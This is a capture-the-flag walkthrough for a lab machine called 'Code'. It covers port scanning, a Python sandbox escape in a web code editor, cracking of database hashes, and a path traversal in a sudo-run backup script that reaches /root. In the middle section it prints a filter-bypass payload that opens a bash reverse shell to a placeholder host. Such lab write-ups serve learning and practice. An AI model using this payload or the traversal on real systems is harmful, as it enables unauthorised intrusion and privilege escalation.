**Code: A Privilege Escalation Walkthrough**

This walkthrough details the steps taken to achieve privilege escalation on the "Code" machine. The process involved initial enumeration, exploiting a Python code editor for a reverse shell, and then leveraging a sudo

**1. Initial Enumeration**

The first step involved identifying open ports and directories on the target machine (10.10.11.62) using nmap and feroxbuster.

A screenshot of a computer

AI-generated content may be incorrect.

Nmap revealed two open ports:

* **Port 22:** Running OpenSSH 8.2p1 Ubuntu.
* **Port 5000:** Running Gunicorn 20.0.4, with the HTTP title "Python Code Editor".

Feroxbuster's directory enumeration did not yield any immediately interesting results.

A screenshot of a computer

AI-generated content may be incorrect.

**2. Exploiting the Python Code Editor (User Shell)**

Upon navigating to http://10.10.11.62:5000 in a browser, a web-based Python code editor was discovered, allowing users to create an account and save their code.

Attempts to execute a simple PHP shell through the editor were blocked by an unknown filter. After some experimentation, it was found that Python's introspection capabilities could be used to bypass the filter. Specifically, the expression print((()).\_\_class\_\_.\_\_bases\_\_[0].\_\_subclasses\_\_()) was discovered to work.

A screen shot of a screen

AI-generated content may be incorrect.

This command breaks down as follows:

* (): Creates an empty tuple.
* ().\_\_class\_\_: Accesses the \_\_class\_\_ attribute of the empty tuple, which evaluates to the tuple class.
* ().\_\_class\_\_.\_\_bases\_\_: Accesses the \_\_bases\_\_ attribute of the tuple class, which returns a tuple containing its direct base classes. For tuple, this is object.
* ().\_\_class\_\_.\_\_bases\_\_[0]: Accesses the first element of the \_\_bases\_\_ tuple, which is the object class.
* ().\_\_class\_\_.\_\_bases\_\_[0].\_\_subclasses\_\_(): Calls the \_\_subclasses\_\_() method on the object class, returning a list of all its immediate subclasses currently loaded in the Python interpreter's memory.

This method revealed a long list of classes, including one named Popen at index 317 (though the index can vary). The Popen class, part of Python's subprocess module, is highly useful for executing system commands.

A reverse shell payload was crafted using the Popen class:

raise Exception(str((()) .\_\_class\_\_.\_\_bases\_\_[0].\_\_subclasses\_\_()[317](

"bash -c 'bash -i >& /dev/tcp/your\_IP/4444 0>&1'", shell=True, stdout=-1).communicate()))

A screenshot of a computer

AI-generated content may be incorrect.

A black and white screen

AI-generated content may be incorrect.

Submitting the Python code in the web editor resulted in a connection back to the netcat listener, providing a shell as the app-production user. The user.txt flag was found within the app-production user's home directory.

A screen shot of a computer code

AI-generated content may be incorrect.

A computer screen with white text

AI-generated content may be incorrect.

**3. Privilege Escalation to Root**

With the app-production shell, further enumeration was performed. A database.db file was discovered inside the app-instance directory, writable by the app-production user.

A black screen with white text

AI-generated content may be incorrect.

A screenshot of a computer

AI-generated content may be incorrect.

The database.db file contained user hashes. These hashes were then cracked using CrackStation.net, revealing passwords for two users. The password for the user martin successfully allowed SSH access.

Once logged in as martin via SSH, the sudo -l command was executed to check for sudo privileges.

A screenshot of a computer

AI-generated content may be incorrect.

A screenshot of a computer

AI-generated content may be incorrect.

A screen shot of a computer

AI-generated content may be incorrect.

The output indicated that martin could execute /usr/bin/backy.sh as any user (ALL) and any group (ALL) without requiring a password (NOPASSWD). The script /usr/bin/backy.sh had the following permissions: -rwxr-xr-x 1 root root, meaning martin could execute but not modify it directly.

The backy.sh script was found to take a JSON configuration and perform backups, but it restricted paths to /home/ and /var/. However, a path traversal vulnerability was identified by using ....//root/ in the directories\_to\_archive field. This clever bypass resolves to /root/ when processed by the underlying filesystem functions, allowing the script, running as root, to access the /root directory.

The following steps were executed to exploit this vulnerability:

**Create the malicious JSON configuration file (root-steal.json)** and **Execute backy.sh with sudo and the malicious config**:

A screenshot of a computer

AI-generated content may be incorrect.

**Extract the contents of the backup archive** and finally, navigating into the newly extracted root/ directory revealed the root.txt flag, signifying successful root privilege escalation.

A screenshot of a computer

AI-generated content may be incorrect.

A screenshot of a computer

AI-generated content may be incorrect.